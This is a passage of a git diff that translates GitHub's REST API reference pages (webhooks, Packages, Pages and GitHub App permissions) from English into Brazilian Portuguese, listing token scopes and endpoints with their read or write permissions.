+Para que {% data variables.product.product_name %} envie cargas de webhook, seu servidor deve ser acessível pela internet. É altamente recomendável o uso de SSL para que possamos enviar cargas criptografadas por HTTPS.
 
-For more best practices, [see our guide](/guides/best-practices-for-integrators/).
+Para obter mais práticas recomendadas, [consulte nosso guia](/guides/best-practices-for-integrators/).
 
-#### Webhook headers
+#### Cabeçalhos de webhook
 
-{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/webhooks/event-payloads/#delivery-headers) for details.
+{% data variables.product.product_name %} enviará ao longo de vários cabeçalhos de HTTP para diferenciar entre tipos de evento e identificadores de carga. Consulte [cabeçalhos de webhook](/webhooks/event-payloads/#delivery-headers) para obter informações.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
diff --git a/translations/pt-BR/content/rest/reference/packages.md b/translations/pt-BR/content/rest/reference/packages.md
index 8af15e78f9..d451019e4d 100644
--- a/translations/pt-BR/content/rest/reference/packages.md
+++ b/translations/pt-BR/content/rest/reference/packages.md
@@ -1,6 +1,6 @@
 ---
 title: Packages
-intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.'
+intro: 'Com a API do {% data variables.product.prodname_registry %}, você pode gerenciar pacotes para seus repositórios e organizações de {% data variables.product.prodname_dotcom %}.'
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
@@ -10,16 +10,16 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+A API de {% data variables.product.prodname_registry %} permite gerenciar pacotes usando a API REST. Para saber mais sobre como restaurar ou excluir pacotes, consulte "[Restaurar e excluir pacotes](/packages/learn-github-packages/deleting-and-restoring-a-package)"".
 
-To use this API, you must authenticate using a personal access token. 
-  - To access package metadata, your token must include the `read:packages` scope.
-  - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes.
-  - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes.
+Para usar essa API, você deve efetuar a autenticação usando um token de acesso pessoal.
+  - Para acessar os metadados do pacote, seu token deve incluir o escopo `read:packages`.
+  - Para excluir pacotes e versões de pacote, seu token deverá incluir os escopos `read:packages` e `delete:packages`.
+  - Para restaurar pacotes e versões do pacote, o seu token deve incluir os escopos `read:packages` e `write:packages`.
 
-If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+Se seu `package_type` for `npm`, `maven`, `rubygems` ou `nuget`, o seu token também deverá incluir o escopo `repo` já que o pacote herda as permissões de um repositório de {% data variables.product.prodname_dotcom %}. Se seu pacote estiver em {% data variables.product.prodname_container_registry %}, seu `package_type` será `container` e seu token não precisará do escopo `repositório` para acessar ou gerenciar este `package_type`. Os pacotes de `contêiner` oferecem permissões granulares separadas de um repositório. Para obter mais informações, consulte "[Sobre permissões para {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)".
 
-If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your personal access token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Se você quiser usar a API de {% data variables.product.prodname_registry %} para acessar os recursos em uma organização com SSO habilitado, então você deve habilitar o SSO para o seu token de acesso pessoal. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
diff --git a/translations/pt-BR/content/rest/reference/pages.md b/translations/pt-BR/content/rest/reference/pages.md
index 713ca428fc..0bb67e617d 100644
--- a/translations/pt-BR/content/rest/reference/pages.md
+++ b/translations/pt-BR/content/rest/reference/pages.md
@@ -1,6 +1,6 @@
 ---
 title: Pages
-intro: 'The GitHub Pages API allows you to interact with GitHub Pages sites and build information.'
+intro: The GitHub Pages API allows you to interact with GitHub Pages sites and build information.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,21 +12,21 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+A API de {% data variables.product.prodname_pages %} recupera informações sobre a sua configuração do {% data variables.product.prodname_pages %} e os status das suas criações. Informações sobre o site e as criações só podem ser acessadas pelos proprietários autenticados{% ifversion not ghae %}, mesmo que os sites sejam públicos{% endif %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)".
 
-In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of:
-* `null`: The site has yet to be built.
-* `queued`: The build has been requested but not yet begun.
-* `building`:The build is in progress.
-* `built`: The site has been built.
-* `errored`: Indicates an error occurred during the build.
+Nos pontos de extremidade da API de {% data variables.product.prodname_pages %} com uma chave de `status` na sua resposta, o valor pode ser:
+* `null`: O site ainda não foi criado.
+* `queued`: A criação foi solicitada, mas ainda não começou.
+* `building`:A criaçãoestá em andamento.
+* `built`: O site foi criado.
+* `errored`: Indica que ocorreu um erro durante a criação.
 
-In {% data variables.product.prodname_pages %} API endpoints that  return GitHub Pages site information, the JSON responses include these fields:
-* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`.
-* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes:
-   - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_.
-   - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`.
+Nos pontos de extremidade da API de {% data variables.product.prodname_pages %} que devolvem as informações do site do GitHub Pages, as respostas do JSON incluem esses campos:
+* `html_url`: A URL absoluta (incluindo o esquema) do site de páginas interpretadas. Por exemplo, `https://username.github.io`.
+* `source`: Um objeto que contém o branch de origem e o diretório do site de páginas interpretadas. Isto inclui:
+   - `branch`: O branch do repositório utilizado para publicar os [arquivos de origem do site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). Por exemplo, _principal_ ou _gh-pages_.
+   - `path`: O diretório do repositório a partir do qual o site é publicado. Será `/` ou `/docs`.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md b/translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md
index a067fef447..565ea8c1ba 100644
--- a/translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md
+++ b/translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Permissions required for GitHub Apps
-intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.'
+title: Permissões necessárias para os aplicativos GitHub
+intro: 'Você pode encontrar as permissões necessárias para cada ponto de extremidade compatível com {% data variables.product.prodname_github_app %}.'
 redirect_from:
   - /v3/apps/permissions
 versions:
@@ -11,16 +11,16 @@ versions:
 topics:
   - API
 miniTocMaxHeadingLevel: 3
-shortTitle: GitHub App permissions
+shortTitle: Permissões do aplicativo GitHub
 ---
 
-### About {% data variables.product.prodname_github_app %} permissions
+### Sobre as permissões de {% data variables.product.prodname_github_app %}
 
-{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)."
+{% data variables.product.prodname_github_apps %} são criadas com um conjunto de permissões. As permissões definem quais recursos o {% data variables.product.prodname_github_app %} pode acessar através da API. Para obter mais informações, consulte "[Configurações de permissões para os aplicativos GitHub](/apps/building-github-apps/setting-permissions-for-github-apps/)".
 
-### Metadata permissions
+### Permissões de metadados
 
-GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information.
+Os aplicativos GitHub têm a permissão de metadados `Read-only` por padrão. A permissão de metadados fornece acesso a uma coleção de pontos de extremidade somente leitura com metadados para vários recursos. Esses pontos de extremidade não vazam informações privadas sobre repositórios.
 
 {% data reusables.apps.metadata-permissions %}
 
@@ -72,17 +72,17 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user)
 - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
 
-_Collaborators_
+_Colaboradores_
 - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators)
 - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
 
-_Commit comments_
+_Comentários de commit_
 - [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository)
 - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment)
 - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
 - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments)
 
-_Events_
+_Eventos_
 - [`GET /events`](/rest/reference/activity#list-public-events)
 - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
 - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events)
@@ -95,16 +95,16 @@ _Git_
 - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
 - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template)
 
-_Keys_
+_Chaves_
 - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user)
 
-_Organization members_
+_Integrantes da organização_
 - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members)
 - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user)
 - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members)
 - [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user)
 
-_Search_
+_Pesquisar_
 - [`GET /search/code`](/rest/reference/search#search-code)
 - [`GET /search/commits`](/rest/reference/search#search-commits)
 - [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests)
@@ -114,7 +114,7 @@ _Search_
 - [`GET /search/users`](/rest/reference/search#search-users)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "actions"
+### Permissão em "ações"
 
 - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read)
@@ -138,7 +138,7 @@ _Search_
 - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read)
 {% endif %}
 
-### Permission on "administration"
+### Permissão em "administração"
 
 - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write)
 - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write)
@@ -223,28 +223,28 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Collaborators_
+_Colaboradores_
 - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (:write)
 - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (:write)
 
-_Invitations_
+_Convites_
 - [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (:read)
 - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (:write)
 - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (:write)
 
-_Keys_
+_Chaves_
 - [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (:read)
 - [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (:write)
 - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (:read)
 - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (:write)
 
-_Teams_
+_Equipes_
 - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read)
 - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write)
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 
 {% ifversion fpt or ghec %}
-_Traffic_
+_Tráfego_
 - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (:read)
@@ -252,7 +252,7 @@ _Traffic_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Permission on "blocking"
+### Permissão em "bloqueio"
 
 - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read)
 - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read)
@@ -260,7 +260,7 @@ _Traffic_
 - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write)
 {% endif %}
 
-### Permission on "checks"
+### Permissão em "verificações"
 
 - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write)
 - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read)
@@ -274,7 +274,7 @@ _Traffic_
 - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read)
 
-### Permission on "contents"
+### Permissão em "conteúdo"
 
 - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read)
 {% ifversion fpt -%}
@@ -371,7 +371,7 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Commit comments_
+_Comentários de commit_
 - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (:write)
 - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (:write)
 - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read)
@@ -393,7 +393,7 @@ _Git_
 - [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (:read)
 
 {% ifversion fpt or ghec %}
-_Import_
+_importar_
 - [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (:read)
 - [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (:write)
 - [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (:write)
@@ -404,7 +404,7 @@ _Import_
 - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write)
 {% endif %}
 
-_Reactions_
+_Reações_
 
 {% ifversion fpt or ghes or ghae -%}
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write)
@@ -420,7 +420,7 @@ _Reactions_
 - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write)
 {% endif %}
 
-_Releases_
+_Versões_
 - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read)
 - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write)
 - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read)
@@ -433,7 +433,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read)
 - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read)
 
-### Permission on "deployments"
+### Permissão em "implantações"
 
 - [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (:read)
 - [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (:write)
@@ -446,7 +446,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (:read)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "emails"
+### Permissão em "e-mails"
 
 {% ifversion fpt -%}
 - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write)
@@ -457,7 +457,7 @@ _Releases_
 - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read)
 {% endif %}
 
-### Permission on "followers"
+### Permissão em "seguidores"
 
 - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read)
 - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read)
@@ -465,7 +465,7 @@ _Releases_
 - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write)
 - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write)
 
-### Permission on "gpg keys"
+### Permissão em "chaves gpg"
 
 - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read)
 - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write)
@@ -473,16 +473,16 @@ _Releases_
 - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "interaction limits"
+### Permissão em "limites de interação"
 
 - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read)
 - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write)
 - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write)
 {% endif %}
 
-### Permission on "issues"
+### Permissão em "problemas"
 
-Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues.
+Problemas e pull requests estão estreitamente relacionados. Para obter mais informações, consulte "[Lista de problemas atribuídos ao usuário autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)". Se seu aplicativo GitHub tiver permissões em problemas e não em pull requests, esses pontos de extremidade irão limitar-se a problemas. Pontos de extremidade que retornam problemas e pull requests serão filtrados. Os pontos de extremidade que permitem operações em ambos problemas e pull requests estarão restritos a problemas.
 
 - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read)
 - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write)
@@ -502,17 +502,17 @@ Issues and pull requests are closely related. For more information, see "[List i
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 
-_Assignees_
+_Responsáveis_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_Eventos_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 
-_Labels_
+_Etiquetas_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -524,7 +524,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_Marcos_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -532,7 +532,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_Reações_
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read)
@@ -549,15 +549,15 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-### Permission on "keys"
+### Permissão em "chaves"
 
-_Keys_
+_Chaves_
 - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read)
 - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write)
 - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read)
 - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write)
 
-### Permission on "members"
+### Permissão em "integrantes"
 
 {% ifversion fpt -%}
 - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write)
@@ -592,14 +592,14 @@ _Keys_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-_Invitations_
+_Convites_
 - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read)
 - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write)
 - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read)
 - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read)
 {% endif %}
 
-_Organization members_
+_Integrantes da organização_
 - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write)
 - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read)
 - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write)
@@ -610,13 +610,13 @@ _Organization members_
 - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read)
 - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write)
 
-_Team members_
+_Integrantes da equipe_
 - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read)
 - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read)
 - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write)
 - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write)
 
-_Teams_
+_Equipes_
 - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read)
 - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write)
 - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read)
@@ -634,7 +634,7 @@ _Teams_
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read)
 
-### Permission on "organization administration"
+### Permissão em "administração da organização"
 
 - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write)
 {% ifversion fpt -%}
@@ -647,11 +647,11 @@ _Teams_
 - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization events"
+### Permissão em "eventos de organização"
 
 - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read)
 
-### Permission on "organization hooks"
+### Permissão em "hooks da organização"
 
 - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read)
 - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write)
@@ -660,11 +660,11 @@ _Teams_
 - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write)
 - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write)
 
-_Teams_
+_Equipes_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion ghes %}
-### Permission on "organization pre receive hooks"
+### Permissão em "hooks pre-receive da organização"
 
 - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read)
 - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read)
@@ -672,7 +672,7 @@ _Teams_
 - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization projects"
+### Permissão em "projetos da organização"
 
 - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write)
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
@@ -693,7 +693,7 @@ _Teams_
 - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "organization user blocking"
+### Permissão em "bloqueio de usuários da organização"
 
 - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read)
 - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read)
@@ -701,7 +701,7 @@ _Teams_
 - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write)
 {% endif %}
 
-### Permission on "pages"
+### Permissão em "páginas"
 
 - [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (:read)
 - [`POST /repos/:owner/:repo/pages`](/rest/reference/pages#create-a-github-pages-site) (:write)
@@ -715,9 +715,9 @@ _Teams_
